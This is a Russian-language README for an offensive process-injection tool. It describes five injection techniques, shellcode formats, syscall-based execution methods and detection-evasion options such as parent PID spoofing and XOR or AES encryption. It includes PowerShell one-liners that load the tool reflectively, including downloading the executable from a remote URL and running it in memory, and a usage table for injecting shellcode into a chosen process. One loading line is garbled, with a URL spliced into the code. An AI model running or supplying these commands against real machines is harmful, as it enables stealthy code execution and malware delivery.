
Эта программа предназначена для демонстрации различных методов внедрения в процессы.
Программа предназначена для выполнения внедрения процессов. В настоящее время инструмент поддерживает 5 техник внедрения процессов.
1) Vanilla Process Injection
2) DLL Injection
3) Process Hollowing
4) APC Queue
5) KernelCallbackTable Injection
Инструмент принимает shellcode в 4 форматах.
1) base64
2) hex
3) c
4) raw
Инструмент поддерживает 4 метода выполнения внедрения процессов.
1) P/Invoke
2) D/Invoke
3) Direct Syscalls
4) Indirect Syscalls
Поддерживает 3 техники обхода обнаружения.
1) Parent PID Spoofing
Шифрование
2) XOR Encryption (также может использоваться с техникой Parent PID Spoofing, но не может использоваться с техникой DLL Injection)
3) AES Encryption (также может использоваться с техникой Parent PID Spoofing, но не может использоваться с техникой DLL Injection)
Может быть загружен через рефлексию.
# Загрузка с диска
[System.Reflection.Assembly]:https://raw.githubusercontent.com/3xpl01tc0d3r/processinjection/master/:Load(%5BSystem.IO.File%5D::ReadAllBytes(%22ProcessInjection.exe%22))
# Загрузка с удаленного сервера
[System.Reflection.Assembly]::Load((New-Object Net.WebClient).DownloadData("http://<URL>/ProcessInjection.exe"))
# Выполнение внедрения процесса
[ProcessInjection.ProcessInjection]::Main(@("/t:1", "/f:base64", "/pid:<ProcessId>", "/sc:<ShellCode>"))
Использование Описание
----- -----------
/t Укажите идентификатор техники внедрения процесса.
1 = Vanilla Process Injection
2 = DLL Injection
3 = Process Hollowing
4 = APC Queue Injection
5 = KernelCallbackTable Injection
/m Укажите используемый метод
p = P/Invoke (По умолчанию)
d = D/Invoke
ds = Direct Syscalls
ids = Indirect Syscalls
/f Укажите формат shellcode.
base64
hex
c
raw
/pid Укажите идентификатор процесса.
/parentproc Укажите имя родительского процесса.
/path Укажите путь к файлу, содержащему shellcode.
/ppath Укажите путь к исполняемому файлу, который будет запущен (обязательно при использовании аргумента /parentproc).
/url Укажите URL, где размещен shellcode.
/enc Укажите тип шифрования (aes или xor), которым зашифрован shellcode.
/key Укажите ключ, который будет использоваться для расшифровки shellcode.
/sc Укажите shellcode напрямую в формате base64 или hex. Примечание: для передачи большого shellcode используйте рефлексию для запуска программы.
/help Показать справку
https://3xpl01tc0d3r.blogspot.com/2019/08/process-injection-part-i.html
https://3xpl01tc0d3r.blogspot.com/2019/09/process-injection-part-ii.html
https://3xpl01tc0d3r.blogspot.com/2019/10/process-injection-part-iii.html
https://medium.com/@r3n_hat/parent-pid-spoofing-b0b17317168e
https://3xpl01tc0d3r.blogspot.com/2019/12/process-injection-part-v.html
https://3xpl01tc0d3r.blogspot.com/2020/08/process-injection-tool-updates.html
Также благодарности:
Aaron Bray & Rasta Mouse за код Process Hollowing
The Wover & b33f за Dynamic Invoke - (https://thewover.github.io/Dynamic-Invoke/)